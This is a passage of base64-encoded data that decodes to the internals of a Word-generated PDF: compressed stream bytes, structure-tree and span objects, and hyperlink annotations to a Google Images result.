blcRDlpmwoUmh5g0rSw5t0G7medJX6MgZXs5irYomn/ggeQ+Jq63mszxnqDAHUJb4MVyhheb6Shf knpwS8/yNfyL1ERXPF3ny0ckg4dNvkr6uJofz5DmYYpfOZDgr/tgz65ti+2x2YYUbR9S4dMC+rmU 9ho/dmDxUhopneRLa/EzxFtVPLYpP3ZhR+iJYtB3RH1RUAZZvh4oWTJxWfmreLWrvw5SXuInaH7l ib9jUb6UwSh8AeiS34RzhshCh1uhpqT3F+W664Izrw/EtuCR8kJC7vygb3aPENK+Bdui13jMQNew YO9lJFCMDzTbNGj7MdpghVJN2tlRPjWpprFu36el98gObI9Q07RmHrSpS0tnDAujsJf9ICsfYcer rMcr0eH6vLA7M6VVdpDSo5RdcYwZnTQiNAOxJyKmcTIVVjdp6+F+UJCyeEFSLVh0FoTHfPZYB49h r2Scf5uDcJi0GnWlZmC3DtJlJJbZ5XRxS8Y+CFd5XSVcEbLsuWHhqT0HK06PrPSR48Q2lXNDyWZY OLzKL0pQp0saV9IQrouB0tVavHWmwKiLQuC26VwLLGc5oOqZtUXoi9vLbbXhGLrYlRZZ59YoF4V+ 8qKe0Ltq0JbNbKFQCSk1LM26J+iqsGSlduWKsFVzW4+Oim2tjcAmG4ymCbkIqNH9BGv1fI1fMNqs qGSvuK/9V9Z6+LyhaZeo4GGBBZ5er3Iq+H/SF7ez/Qxpj2cTlMj25D8d0K2b4Sc6uBa8u1ZY3sqA 7n2gPjtOCg2+kH508XesYWML9brJIdrcVcbpX6ctm/td0nfcW6f5mDvverRG0+WL+Qo280nRatGq 3FeTFFfcTuABQU43tKvg20Tp3pwNDjPiSo2VLc5tdruCtFmuFolCL86Jbgr0nl2Hy11vExstbOaF 9MfpirGGw1GTlo1JGqCEELeSwbkNgkTXVz7fzgmMfUyzAhnmlmOM7cKDBwXciKy3pOjMl7GphxqU aUqITkhYqrM92kIsm2o32/BwRLrdL0ez0vgFouoFPVmUcxPCpxGKCKbHpYL1WmgdB32YCq1HMA3d im7hcZTybZPiIcvWA5R4dinNw6zHLNaeBRRvlvfV1Qc68sIBXlsHN+NPvV8uo0HhKY5qrHabdCSg tT8D1pn3FAybnL7Hpd3nlBdUk4pEhtUCU0bSVPsCF/zD5YxCCcMfN64j8gtVLODRd401bk2pUnlw xKH1mcVMZpiJu2r4iCTTnIjy+SMKj00BFuMv1XVdvmX31jOiOsuAyYaN2TtM0K0r8Y+UBtKWb9In fiJmzySlSpPvk1BbT46qsM7aphVvNZnjGOatJ0BV/GUi803+PqXu5XW2A3+Jfskn5L05uSzpY/H8 Cl8wgxfs0qSPvSo22GpsQ6rJrzV5mztvoz01scayp9UMJzax0vnYiVRVat+S50dwxXWQInnMm8eI l7XCittYH6udCpWhlK7T5uNJjNpyiDeoo6Fmubk0aLnSruDXB1TgMVG4bx6Ve2Cq/7GSjRApZmNC uXBsbaZEoF23w4FZYmW1Um0P5g8dEz0f2HOFy9LGofm3HB4d8/f5poYi8IgY0tHJfp8lJolyR7GM zlb7LJ0WITuKZbRHteRRxZ06wXGAze6MOJPMxVjhwLqAams68uDDodcznGmNL0+HDtnY2lGzYzb4 o4Mnu+EuR5gGnxDl43Z8FO6gfMEKtWHVkJfjk5sar7TO6388cm4YDQplbmRzdHJlYW0NCmVuZG9i ag0KNDQgMCBvYmoNCjw8L1R5cGUvU3RydWN0VHJlZVJvb3QvUm9sZU1hcCA0NSAwIFIvUGFyZW50 VHJlZSA0NiAwIFIvS1s0OSAwIFJdL1BhcmVudFRyZWVOZXh0S2V5IDU+Pg0KZW5kb2JqDQo0NSAw IG9iag0KPDwvRm9vdG5vdGUvTm90ZS9FbmRub3RlL05vdGUvVGV4dGJveC9TZWN0L0hlYWRlci9T ZWN0L0Zvb3Rlci9TZWN0L0lubGluZVNoYXBlL1NlY3QvQW5ub3RhdGlvbi9TZWN0L0FydGlmYWN0 L1NlY3QvV29ya2Jvb2svRG9jdW1lbnQvV29ya3NoZWV0L1BhcnQvTWFjcm9zaGVldC9QYXJ0L0No YXJ0c2hlZXQvUGFydC9EaWFsb2dzaGVldC9QYXJ0L1NsaWRlL1BhcnQvQ2hhcnQvU2VjdC9EaWFn cmFtL0ZpZ3VyZT4+DQplbmRvYmoNCjQ2IDAgb2JqDQo8PC9OdW1zWzAgNDcgMCBSIDEgNTEgMCBS IDIgNTEgMCBSIDMgMzAxIDAgUiA0IDMwMiAwIFJdPj4NCmVuZG9iag0KNDcgMCBvYmoNCls0OCAw IFIgMjAzIDAgUiAyMTcgMCBSIDU2IDAgUiA1NyAwIFIgNTggMCBSIDU5IDAgUiA2MCAwIFIgNjEg MCBSIDYyIDAgUiA2MyAwIFIgNjQgMCBSIDY1IDAgUiA2NiAwIFIgNjcgMCBSIDY4IDAgUiA2OSAw IFIgNzAgMCBSIDcxIDAgUiA3MiAwIFIgNzMgMCBSIDc0IDAgUiA3NSAwIFIgNzYgMCBSIDc3IDAg UiA3OCAwIFIgNzkgMCBSIDgwIDAgUiA4MSAwIFIgODIgMCBSIDgzIDAgUiA4NCAwIFIgODUgMCBS IDg2IDAgUiA4NyAwIFIgODggMCBSIDg5IDAgUiA5MCAwIFIgOTEgMCBSIDkzIDAgUiA5NCAwIFIg OTUgMCBSIDk2IDAgUiA5NyAwIFIgOTggMCBSIDk5IDAgUiAxMDAgMCBSIDEwMSAwIFIgMTAyIDAg UiAxMDMgMCBSIDEwNCAwIFIgMTA1IDAgUiAxMDYgMCBSIDEwNyAwIFIgMTA4IDAgUiAxMDkgMCBS IDExMCAwIFIgMTExIDAgUiAxMTIgMCBSIDExMyAwIFIgMTE0IDAgUiAxMTUgMCBSIDExNiAwIFIg MTE3IDAgUiAxMTggMCBSIDExOSAwIFIgMTIwIDAgUiAxMjEgMCBSIDEyMiAwIFIgMTIzIDAgUiAx MjQgMCBSIDEyNSAwIFIgMTI2IDAgUiAxMjcgMCBSIDEyOCAwIFIgMTI5IDAgUiAxMzAgMCBSIDEz MSAwIFIgMTMyIDAgUiAxMzMgMCBSIDEzNCAwIFIgMTM1IDAgUiAxMzYgMCBSIDEzNyAwIFIgMTM4 IDAgUiAxMzkgMCBSIDE0MCAwIFIgMTQxIDAgUiAxNDIgMCBSIDE0MyAwIFIgMTQ0IDAgUiAxNDUg MCBSIDE0NiAwIFIgMTQ3IDAgUiAxNDggMCBSIDE0OSAwIFIgMTUwIDAgUiAxNTEgMCBSIDE1MiAw IFIgMTUzIDAgUiAxNTQgMCBSIDE1NSAwIFIgMTU2IDAgUiAxNTcgMCBSIDE1OCAwIFIgMTU5IDAg UiAxNjAgMCBSIDE2MSAwIFIgMTYyIDAgUiAxNjMgMCBSIDE2NCAwIFIgMTY1IDAgUiAxNjYgMCBS IDE2OCAwIFIgMTY5IDAgUiAxNzAgMCBSIDE3MSAwIFIgMTcyIDAgUiAxNzMgMCBSIDE3NCAwIFIg MTc1IDAgUiAxNzYgMCBSIDE3NyAwIFIgMTc4IDAgUiAxNzkgMCBSIDE4MCAwIFIgMTgxIDAgUiAx ODIgMCBSIDE4MyAwIFIgMTg0IDAgUiAxODUgMCBSIDE4NiAwIFIgMTg3IDAgUiAxODggMCBSIDE4 OSAwIFIgMTkwIDAgUiAxOTEgMCBSIDE5MiAwIFIgMTkzIDAgUiAxOTQgMCBSIDE5NSAwIFIgMTk2 IDAgUiAxOTcgMCBSIDE5OCAwIFIgMTk5IDAgUiAyMDAgMCBSIDIwMSAwIFIgMjAyIDAgUiAyMDQg MCBSIDIwNSAwIFIgMjA2IDAgUiAyMDcgMCBSIDIwOCAwIFIgMjA5IDAgUiAyMTAgMCBSIDIxMSAw IFIgMjEyIDAgUiAyMTMgMCBSIDIxNCAwIFIgMjE1IDAgUiAyMTYgMCBSIDIxOCAwIFIgMjE5IDAg UiAyMjAgMCBSIDIyMSAwIFIgMjIyIDAgUiAyMjMgMCBSIDIyNCAwIFIgMjI1IDAgUiAyMjYgMCBS IDIyNyAwIFJdDQplbmRvYmoNCjQ4IDAgb2JqDQo8PC9QIDQ5IDAgUi9TL0ZpZ3VyZS9BbHQgKCkv VHlwZS9TdHJ1Y3RFbGVtL0tbMF0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo0OSAwIG9iag0KPDwvUCA0 NCAwIFIvUy9QYXJ0L1R5cGUvU3RydWN0RWxlbS9LWzQ4IDAgUiA1MCAwIFIgOTIgMCBSIDE2NyAw IFIgMjAzIDAgUiAyMDQgMCBSIDIwNSAwIFIgMjA2IDAgUiAyMDcgMCBSIDIwOCAwIFIgMjA5IDAg UiAyMTAgMCBSIDIxMSAwIFIgMjEyIDAgUiAyMTMgMCBSIDIxNCAwIFIgMjE1IDAgUiAyMTYgMCBS IDIxNyAwIFIgMjE4IDAgUiAyMTkgMCBSIDIyMCAwIFIgMjIxIDAgUiAyMjIgMCBSIDIyMyAwIFIg MjI0IDAgUiAyMjUgMCBSIDIyNiAwIFIgMjI3IDAgUiAyMjggMCBSIDIyOSAwIFIgMjMwIDAgUiAy MzEgMCBSIDIzMiAwIFIgMjMzIDAgUiAyMzQgMCBSIDIzNSAwIFIgMjM2IDAgUiAyMzcgMCBSIDIz OCAwIFIgMjM5IDAgUiAyNDAgMCBSIDI0MSAwIFIgMjQyIDAgUiAyNDMgMCBSIDI0NCAwIFIgMjQ1 IDAgUiAyNDYgMCBSIDI0NyAwIFIgMjQ4IDAgUiAyNDkgMCBSIDI1MCAwIFIgMjUxIDAgUiAyNTIg MCBSIDI1MyAwIFIgMjU0IDAgUiAyNTUgMCBSIDI1NiAwIFIgMjU3IDAgUiAyNTggMCBSIDI1OSAw IFIgMjYyIDAgUiAyNjMgMCBSIDI2NCAwIFIgMjY1IDAgUiAyNjYgMCBSIDI2NyAwIFIgMjY4IDAg UiAyNjkgMCBSIDI3MCAwIFIgMjcxIDAgUiAyNzIgMCBSIDI3MyAwIFIgMjc0IDAgUiAyNzUgMCBS IDI3NiAwIFIgMjc3IDAgUiAyNzggMCBSIDI3OSAwIFIgMjgwIDAgUiAyODEgMCBSIDI4MiAwIFIg MjgzIDAgUiAyODQgMCBSIDI4NSAwIFIgMjkzIDAgUiAyOTQgMCBSIDI5NSAwIFIgMjk2IDAgUiAy OTcgMCBSIDI5OCAwIFIgMjk5IDAgUiAzMDAgMCBSXT4+DQplbmRvYmoNCjUwIDAgb2JqDQo8PC9Q IDQ5IDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbNTEgMCBSIDU3IDAgUiA1OCAwIFIgNTkgMCBS IDYwIDAgUiA2MSAwIFIgNjIgMCBSIDYzIDAgUiA2NCAwIFIgNjUgMCBSIDY2IDAgUiA2NyAwIFIg NjggMCBSIDY5IDAgUiA3MCAwIFIgNzEgMCBSIDcyIDAgUiA3MyAwIFIgNzQgMCBSIDc1IDAgUiA3 NiAwIFIgNzcgMCBSIDc4IDAgUiA3OSAwIFIgODAgMCBSIDgxIDAgUiA4MiAwIFIgODMgMCBSIDg0 IDAgUiA4NSAwIFIgODYgMCBSIDg3IDAgUiA4OCAwIFIgODkgMCBSIDkwIDAgUiA5MSAwIFJdL1Bn IDEgMCBSPj4NCmVuZG9iag0KNTEgMCBvYmoNCjw8L1AgNTAgMCBSL1MvTGluay9UeXBlL1N0cnVj dEVsZW0vS1s1MiAwIFIgNTQgMCBSIDU2IDAgUl0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo1MiAwIG9i ag0KPDwvVHlwZS9PQkpSL09iaiA1MyAwIFIvUGcgMSAwIFI+Pg0KZW5kb2JqDQo1MyAwIG9iag0K PDwvU3VidHlwZS9MaW5rL1JlY3RbNjguNjAwIDczMy45NzAgNTMyLjU1MCA4MDUuOTcwXS9CUzw8 L1cgMD4+L0YgNC9BPDwvVHlwZS9BY3Rpb24vUy9VUkkvVVJJIChodHRwOi8vaW1hZ2VzLmdvb2ds ZS5jaS9pbWdyZXM/aW1ndXJsPWh0dHA6Ly9pbmZvcm1hdGlxdWUtZGUtcHJvLmNvbS9ibG9nL2lt YWdlcy9sb2dvLW1pY3Jvc29mdC5qcGcmaW1ncmVmdXJsPWh0dHA6Ly9pbmZvcm1hdGlxdWUtZGUt cHJvLmNvbS9pbmRleC5waHAvMjAwNy8wMS8yMy8yNTItc3VyZW5jaGVyZS1jaGV6LWdvb2dsZS1l dC1taWNyb3NvZnQtYXV0b3VyLWRlcy1kYXRhLWNlbnRlcnMmaD0yODAmdz0zNTAmc3o9OSZobD1m ciZzdGFydD04JnRibmlkPURBdThQejNhZlA3eUVNOiZ0Ym5oPTk2JnRibnc9MTIwJnByZXY9L2lt YWdlcyUzRnElM0RtaWNyb3NvZnQlMkIlMjZnYnYlM0QyJTI2c3ZudW0lM0QxMCUyNmhsJTNEZnIl MjZzYSUzREcpPj4vU3RydWN0UGFyZW50IDE+Pg0KZW5kb2JqDQo1NCAwIG9iag0KPDwvVHlwZS9P QkpSL09iaiA1NSAwIFIvUGcgMSAwIFI+Pg0KZW5kb2JqDQo1NSAwIG9iag0KPDwvU3VidHlwZS9M aW5rL1JlY3RbMCA4NDEuOTIwIDAgODQxLjkyMF0vQlM8PC9XIDA+Pi9GIDQvQTw8L1R5cGUvQWN0 aW9uL1MvVVJJL1VSSSAoaHR0cDovL2ltYWdlcy5nb29nbGUuY2kvaW1ncmVzP2ltZ3VybD1odHRw Oi8vaW5mb3JtYXRpcXVlLWRlLXByby5jb20vYmxvZy9pbWFnZXMvbG9nby1taWNyb3NvZnQuanBn JmltZ3JlZnVybD1odHRwOi8vaW5mb3JtYXRpcXVlLWRlLXByby5jb20vaW5kZXgucGhwLzIwMDcv MDEvMjMvMjUyLXN1cmVuY2hlcmUtY2hlei1nb29nbGUtZXQtbWljcm9zb2Z0LWF1dG91ci1kZXMt ZGF0YS1jZW50ZXJzJmg9MjgwJnc9MzUwJnN6PTkmaGw9ZnImc3RhcnQ9OCZ0Ym5pZD1EQXU4UHoz YWZQN3lFTTomdGJuaD05NiZ0Ym53PTEyMCZwcmV2PS9pbWFnZXMlM0ZxJTNEbWljcm9zb2Z0JTJC JTI2Z2J2JTNEMiUyNnN2bnVtJTNEMTAlMjZobCUzRGZyJTI2c2ElM0RHKT4+L1N0cnVjdFBhcmVu dCAyPj4NCmVuZG9iag0KNTYgMCBvYmoNCjw8L1AgNTEgMCBSL1MvSW5saW5lU2hhcGUvQWx0ICgp L1R5cGUvU3RydWN0RWxlbS9LWzNdL1BnIDEgMCBSPj4NCmVuZG9iag0KNTcgMCBvYmoNCjw8L1Ag NTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA0Pj4NCmVuZG9iag0KNTgg MCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA1Pj4N CmVuZG9iag0KNTkgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcg MSAwIFIvSyA2Pj4NCmVuZG9iag0KNjAgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0 cnVjdEVsZW0vUGcgMSAwIFIvSyA3Pj4NCmVuZG9iag0KNjEgMCBvYmoNCjw8L1AgNTAgMCBSL1Mv U3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA4Pj4NCmVuZG9iag0KNjIgMCBvYmoNCjw8 L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA5Pj4NCmVuZG9iag0K NjMgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyAx MD4+DQplbmRvYmoNCjY0IDAgb2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVt L1BnIDEgMCBSL0sgMTE+Pg0KZW5kb2JqDQo2NSAwIG9iag0KPDwvUCA1MCAwIFIvUy9TcGFuL1R5 cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDEyPj4NCmVuZG9iag0KNjYgMCBvYmoNCjw8L1AgNTAg MCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyAxMz4+DQplbmRvYmoNCjY3IDAg b2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMTQ+Pg0K ZW5kb2JqDQo2OCAwIG9iag0KPDwvUCA1MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAx IDAgUi9LIDE1Pj4NCmVuZG9iag0KNjkgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0 cnVjdEVsZW0vUGcgMSAwIFIvSyAxNj4+DQplbmRvYmoNCjcwIDAgb2JqDQo8PC9QIDUwIDAgUi9T L1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMTc+Pg0KZW5kb2JqDQo3MSAwIG9iag0K PDwvUCA1MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDE4Pj4NCmVuZG9i ag0KNzIgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIv SyAxOT4+DQplbmRvYmoNCjczIDAgb2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RF bGVtL1BnIDEgMCBSL0sgMjA+Pg0KZW5kb2JqDQo3NCAwIG9iag0KPDwvUCA1MCAwIFIvUy9TcGFu L1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDIxPj4NCmVuZG9iag0KNzUgMCBvYmoNCjw8L1Ag NTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyAyMj4+DQplbmRvYmoNCjc2 IDAgb2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMjM+ Pg0KZW5kb2JqDQo3NyAwIG9iag0KPDwvUCA1MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9Q ZyAxIDAgUi9LIDI0Pj4NCmVuZG9iag0KNzggMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBl L1N0cnVjdEVsZW0vUGcgMSAwIFIvSyAyNT4+DQplbmRvYmoNCjc5IDAgb2JqDQo8PC9QIDUwIDAg Ui9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMjY+Pg0KZW5kb2JqDQo4MCAwIG9i ag0KPDwvUCA1MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDI3Pj4NCmVu ZG9iag0KODEgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAw IFIvSyAyOD4+DQplbmRvYmoNCjgyIDAgb2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9TdHJ1 Y3RFbGVtL1BnIDEgMCBSL0sgMjk+Pg0KZW5kb2JqDQo4MyAwIG9iag0KPDwvUCA1MCAwIFIvUy9T cGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDMwPj4NCmVuZG9iag0KODQgMCBvYmoNCjw8 L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyAzMT4+DQplbmRvYmoN Cjg1IDAgb2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sg MzI+Pg0KZW5kb2JqDQo4NiAwIG9iag0KPDwvUCA1MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxl bS9QZyAxIDAgUi9LIDMzPj4NCmVuZG9iag0KODcgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9U eXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyAzND4+DQplbmRvYmoNCjg4IDAgb2JqDQo8PC9QIDUw IDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMzU+Pg0KZW5kb2JqDQo4OSAw IG9iag0KPDwvUCA1MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDM2Pj4N CmVuZG9iag0KOTAgMCBvYmoNCjw8L1AgNTAgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcg MSAwIFIvSyAzNz4+DQplbmRvYmoNCjkxIDAgb2JqDQo8PC9QIDUwIDAgUi9TL1NwYW4vVHlwZS9T dHJ1Y3RFbGVtL1BnIDEgMCBSL0sgMzg+Pg0KZW5kb2JqDQo5MiAwIG9iag0KPDwvUCA0OSAwIFIv Uy9QL1R5cGUvU3RydWN0RWxlbS9LWzkzIDAgUiA5NCAwIFIgOTUgMCBSIDk2IDAgUiA5NyAwIFIg OTggMCBSIDk5IDAgUiAxMDAgMCBSIDEwMSAwIFIgMTAyIDAgUiAxMDMgMCBSIDEwNCAwIFIgMTA1 IDAgUiAxMDYgMCBSIDEwNyAwIFIgMTA4IDAgUiAxMDkgMCBSIDExMCAwIFIgMTExIDAgUiAxMTIg MCBSIDExMyAwIFIgMTE0IDAgUiAxMTUgMCBSIDExNiAwIFIgMTE3IDAgUiAxMTggMCBSIDExOSAw IFIgMTIwIDAgUiAxMjEgMCBSIDEyMiAwIFIgMTIzIDAgUiAxMjQgMCBSIDEyNSAwIFIgMTI2IDAg UiAxMjcgMCBSIDEyOCAwIFIgMTI5IDAgUiAxMzAgMCBSIDEzMSAwIFIgMTMyIDAgUiAxMzMgMCBS IDEzNCAwIFIgMTM1IDAgUiAxMzYgMCBSIDEzNyAwIFIgMTM4IDAgUiAxMzkgMCBSIDE0MCAwIFIg MTQxIDAgUiAxNDIgMCBSIDE0MyAwIFIgMTQ0IDAgUiAxNDUgMCBSIDE0NiAwIFIgMTQ3IDAgUiAx NDggMCBSIDE0OSAwIFIgMTUwIDAgUiAxNTEgMCBSIDE1MiAwIFIgMTUzIDAgUiAxNTQgMCBSIDE1 NSAwIFIgMTU2IDAgUiAxNTcgMCBSIDE1OCAwIFIgMTU5IDAgUiAxNjAgMCBSIDE2MSAwIFIgMTYy IDAgUiAxNjMgMCBSIDE2NCAwIFIgMTY1IDAgUiAxNjYgMCBSXS9QZyAxIDAgUj4+DQplbmRvYmoN CjkzIDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sg Mzk+Pg0KZW5kb2JqDQo5NCAwIG9iag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxl bS9QZyAxIDAgUi9LIDQwPj4NCmVuZG9iag0KOTUgMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9U eXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA0MT4+DQplbmRvYmoNCjk2IDAgb2JqDQo8PC9QIDky IDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNDI+Pg0KZW5kb2JqDQo5NyAw IG9iag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDQzPj4N CmVuZG9iag0KOTggMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcg MSAwIFIvSyA0ND4+DQplbmRvYmoNCjk5IDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9T dHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNDU+Pg0KZW5kb2JqDQoxMDAgMCBvYmoNCjw8L1AgOTIgMCBS L1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA0Nj4+DQplbmRvYmoNCjEwMSAwIG9i ag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDQ3Pj4NCmVu ZG9iag0KMTAyIDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEg MCBSL0sgNDg+Pg0KZW5kb2JqDQoxMDMgMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0 cnVjdEVsZW0vUGcgMSAwIFIvSyA0OT4+DQplbmRvYmoNCjEwNCAwIG9iag0KPDwvUCA5MiAwIFIv Uy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDUwPj4NCmVuZG9iag0KMTA1IDAgb2Jq DQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNTE+Pg0KZW5k b2JqDQoxMDYgMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAw IFIvSyA1Mj4+DQplbmRvYmoNCjEwNyAwIG9iag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3Ry dWN0RWxlbS9QZyAxIDAgUi9LIDUzPj4NCmVuZG9iag0KMTA4IDAgb2JqDQo8PC9QIDkyIDAgUi9T L1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNTQ+Pg0KZW5kb2JqDQoxMDkgMCBvYmoN Cjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA1NT4+DQplbmRv YmoNCjExMCAwIG9iag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAg Ui9LIDU2Pj4NCmVuZG9iag0KMTExIDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1 Y3RFbGVtL1BnIDEgMCBSL0sgNTc+Pg0KZW5kb2JqDQoxMTIgMCBvYmoNCjw8L1AgOTIgMCBSL1Mv U3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA1OD4+DQplbmRvYmoNCjExMyAwIG9iag0K PDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDU5Pj4NCmVuZG9i ag0KMTE0IDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBS L0sgNjA+Pg0KZW5kb2JqDQoxMTUgMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVj dEVsZW0vUGcgMSAwIFIvSyA2MT4+DQplbmRvYmoNCjExNiAwIG9iag0KPDwvUCA5MiAwIFIvUy9T cGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDYyPj4NCmVuZG9iag0KMTE3IDAgb2JqDQo8 PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNjM+Pg0KZW5kb2Jq DQoxMTggMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIv SyA2ND4+DQplbmRvYmoNCjExOSAwIG9iag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0 RWxlbS9QZyAxIDAgUi9LIDY1Pj4NCmVuZG9iag0KMTIwIDAgb2JqDQo8PC9QIDkyIDAgUi9TL1Nw YW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNjY+Pg0KZW5kb2JqDQoxMjEgMCBvYmoNCjw8 L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA2Nz4+DQplbmRvYmoN CjEyMiAwIG9iag0KPDwvUCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9L IDY4Pj4NCmVuZG9iag0KMTIzIDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RF bGVtL1BnIDEgMCBSL0sgNjk+Pg0KZW5kb2JqDQoxMjQgMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bh bi9UeXBlL1N0cnVjdEVsZW0vUGcgMSAwIFIvSyA3MD4+DQplbmRvYmoNCjEyNSAwIG9iag0KPDwv UCA5MiAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDcxPj4NCmVuZG9iag0K MTI2IDAgb2JqDQo8PC9QIDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sg NzI+Pg0KZW5kb2JqDQoxMjcgMCBvYmoNCjw8L1AgOTIgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVs ZW0vUGcgMSAwIFIvSyA3Mz4+DQplbmRvYmoNCjEyOCAwIG9iag0KPDwvUCA5MiAwIFIvUy9TcGFu L1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDc0Pj4NCmVuZG9iag0KMTI5IDAgb2JqDQo8PC9Q IDkyIDAgUi9TL1NwYW4vVHlwZS9TdHJ1Y3RFbGVtL1BnIDEgMCBSL0sgNzU+Pg0KZW5kb2JqDQox 